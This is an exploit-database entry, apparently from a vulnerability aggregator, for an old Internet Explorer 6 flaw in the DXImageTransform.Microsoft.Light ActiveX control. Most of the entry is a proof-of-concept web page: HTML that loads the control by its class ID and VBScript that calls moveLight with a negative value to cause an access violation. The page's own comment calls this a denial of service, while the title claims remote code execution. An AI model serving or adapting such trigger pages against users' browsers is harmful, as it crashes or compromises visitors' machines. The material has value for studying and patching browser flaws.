Microsoft DXImageTransform.Microsoft.Light ActiveX Control Remote Code Execution Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Microsoft DXImageTransform.Microsoft.Light ActiveX Control Remote Code Execution Vulnerability from a malicious web pag


                                                source: http://www.securityfocus.com/bid/18303/info

The DXImageTransform.Microsoft.Light ActiveX control is prone to remote code execution. 

An attacker could exploit this issue to execute code in the context of the user visiting a malicious web page.

&#60;!--
MS Internet Explorer 6 DirectX Media DoS Vulnerability
DLL: dxtmsft.dll

Discovered & Coded by: r0ut3r (writ3r [at] gmail.com)

Description: 
Sub moveLight (
 	ByVal lightNum  As Long , 
 	ByVal x  As Long , 
 	ByVal y  As Long , 
 	ByVal z  As Long , 
 	ByVal fAbsolute  As Long 
)
Supplying negative parameters throws an access violation. 
--&#62;

&#60;object classid=&#34;clsid:F9EFBEC2-4302-11D2-952A-00C04FA34F05&#34; id=&#34;DXTLight&#34;&#62;
	Unable to create object
&#60;/object&#62;

&#60;script language=&#34;vbscript&#34;&#62;
	Sub go
		DXTLight.moveLight &#34;-1&#34;, &#34;1&#34;, &#34;1&#34;, &#34;1&#34;, &#34;1&#34;
	End Sub
&#60;/script&#62;
&#60;input language=VBScript type=&#34;button&#34; value=&#34;Try me&#34; onclick=&#34;go()&#34;&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1